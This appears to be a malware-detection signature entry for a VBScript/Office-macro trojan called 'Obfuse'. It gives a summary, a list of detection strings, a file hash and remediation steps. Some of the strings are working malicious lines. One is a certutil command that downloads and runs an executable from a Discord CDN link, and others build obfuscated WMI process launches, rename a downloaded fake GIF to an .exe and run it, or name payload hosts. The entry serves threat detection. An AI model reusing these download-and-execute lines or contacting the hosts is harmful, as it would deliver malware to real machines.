Concrete signature match: Trojan - Appears legitimate but performs malicious actions for VBScript platform, family Obfuse
This is a VBScript-based Trojan utilizing obfuscation and WMI to download a malicious executable, disguised as a GIF, from a remote server (211.252.131.224). It renames the downloaded file to an .exe and executes it via cmd.exe, leading to system compromise.
Relevant strings associated with this threat:
- GetObject("w" & "i" & "n" & "m" & "gmt" & "s" & ":\\" & (MACROHSTR_EXT)
- & "\ro" & "ot\ci" & "mv2" & ":W" & "in3" & "2_P" & "roc" & "e" & "s" & "s").Create (MACROHSTR_EXT)
- = ActiveDocument.Variables("d3a8e88c97d").Value (MACROHSTR_EXT)
- .Namespace( (MACROHSTR_EXT)
- ).Self.InvokeVerb "Paste" (MACROHSTR_EXT)
- + "\LCSSW.txt" As (MACROHSTR_EXT)
- + "\LCSSW.js" (MACROHSTR_EXT)
- + "\LCSSW.txt") = "" Then (MACROHSTR_EXT)
- Application.Wait (Now + TimeValue("0:00:02")) (MACROHSTR_EXT)
- If InStr(1, Sh.Name, "Object", 1) Then (MACROHSTR_EXT)
- Sh.Copy (MACROHSTR_EXT)
- Url = "http://211.252.131.224/2021/image/4qmal.gif (MACROHSTR_EXT)
- Download_Go.SaveToFile "C:\Temp\4qmal.gif", 2 (MACROHSTR_EXT)
- = VBA.CreateObject("WScript.Shell") (MACROHSTR_EXT)
- = "/c " & "rename " & "C:\Temp\4qmal.gif 4qmal.exe" (MACROHSTR_EXT)
- wsh.Run "C:\Windows\System32\cmd.exe " & cmdText, (MACROHSTR_EXT)
- CreateObject("Wscript.Shell").EXEC (MACROHSTR_EXT)
- = VBA.Replace("msh (MACROHSTR_EXT)
- = " http://j.mp/" (MACROHSTR_EXT)
- Debug.Print MsgBox("Re-Install Office", vbOKCancel); returns; 1 (MACROHSTR_EXT)
- ubun3.Tag (MACROHSTR_EXT)
- gando.uganda (MACROHSTR_EXT)
- = "://www.bitly.com/" (MACROHSTR_EXT)
- .copyfile "C:\Windows\System32\mshta.exe", Environ("PUBLIC") & "\peee.com", True (MACROHSTR_EXT)
- "ERROR !!!": Call VBA.Shell _ (MACROHSTR_EXT)
- .adnoc-distributions.com/projects/enquiry.zip (MACROHSTR_EXT)
- C:\Users\" & Environ("UserName") & "\Documents (MACROHSTR_EXT)
- = CreateObject("WScript.Shell").SpecialFolders("MyDocuments") (MACROHSTR_EXT)
- ShellApp.Namespace(unzipToPath).CopyHere ShellApp.Namespace(zippedFileFullName).Items (MACROHSTR_EXT)
- paralagloire.com/ (MACROHSTR_EXT)
- /11.p (MACROHSTR_EXT)
- abnewslive.in/ (MACROHSTR_EXT)
- /11.pn (MACROHSTR_EXT)
- onceayearpestcontrol.c (MACROHSTR_EXT)
- PID = Shell("cmd /c certutil.exe -urlcache -split -f ""https://cdn.discordapp.com/attachments/948578823983726726/948721348170121296/Lqohpshnd.exe"" Rqmmcqpluzlffudaxshi.exe.exe && Rqmmcqpluzlffudaxshi.exe.exe", vbHide) (MACROHSTR_EXT)
- /ces/ten.snd-cimanyd.ognompux//: (MACROHSTR_EXT)
- start-process($env:temp+ '\ (MACROHSTR_EXT)
- .vbs (MACROHSTR_EXT)
- C:\Users\Public\update.js (MACROHSTR_EXT)
- winmgmts:','C:\ (MACROHSTR_EXT)
- ProgramData\ (MACROHSTR_EXT)
- ddond.com (MACROHSTR_EXT)
- mediafire.com/file/vwt2u87jfzpb0f4/3.htm/file (MACROHSTR_EXT)
- = SCQU.Open(v0df + "\cPxNX.bat") (MACROHSTR_EXT)
- ").Value) (MACROHSTR_EXT)
- () + "\cPxNX.bat" 'you can specify here the text file name you want to create (MACROHSTR_EXT)
- com/file/p3ay4it08j1s7hp/0main.htm/file (MACROHSTR_EXT)
- https://taxfile.mediafire. (MACROHSTR_EXT)
- C:\x5cProgramData\x5cddond.com (MACROHSTR_EXT)
- = "C:\Users\Public\update.js" (MACROHSTR_EXT)
- "C:\Users\" & Environ("UserName") & "\ (MACROHSTR_EXT)
- " + "." + "ps1" (MACROHSTR_EXT)
- ").Shellexecute (MACROHSTR_EXT)
- .Tag, (MACROHSTR_EXT)
- .Tag (MACROHSTR_EXT)
- !#HSTR:StringCodeForMshta.A!pli (PEHSTR_EXT)
- !#HSTR:StringCodeForHooking.C!pli (PEHSTR_EXT)
- !#HSTR:StringCodeForHooking.D!pli (PEHSTR_EXT)
- !#HSTR:StringCodeForHooking.L!pli (PEHSTR_EXT)
- !#HSTR:StringCodeForHooking.O!pli (PEHSTR_EXT)
- !#HSTR:StringCodeForRegsvr32.A!pli (PEHSTR_EXT)
- !#HSTR:StringCodeForRundll32.A!pli (PEHSTR_EXT)
- rundll32 (PEHSTR_EXT)
- !#HSTR:StringCodeForBITSJobs.A!pli (PEHSTR_EXT)
- !#HSTR:StringCodeForPowerShell.G!pli (PEHSTR_EXT)
- !#HSTR:StringCodeForScheduledTask.A!pli (PEHSTR_EXT)
- !#HSTR:StringCodeForDataEncoding.D!pli (PEHSTR_EXT)
- !#HSTR:StringCodeForHooking.J!pli (PEHSTR_EXT)
- !#HSTR:StringCodeForHooking.K!pli (PEHSTR_EXT)
- !#HSTR:StringCodeForRemoteFileCopy.B!pli (PEHSTR_EXT)
- !#HSTR:ExecutionGuardrails (PEHSTR_EXT)
- !#HSTR:StringCodeForFileDeletion.A!pli (PEHSTR_EXT)
- !#HSTR:StringCodeForHooking.M!pli (PEHSTR_EXT)
- !#HSTR:StringCodeForNetshHelperDLL.A!pli (PEHSTR_EXT)
- !#HSTR:StringCodeForRemoteServices.A!pli (PEHSTR_EXT)0cba8f95a87418faf019a814d7a277762786b89d4dc04af045d02a39329a2293Immediately isolate the affected endpoint. Perform a full system scan with updated antivirus software to remove all malicious components. Block the identified C2 IP address (211.252.131.224) at your network perimeter and investigate for persistence mechanisms or further lateral movement.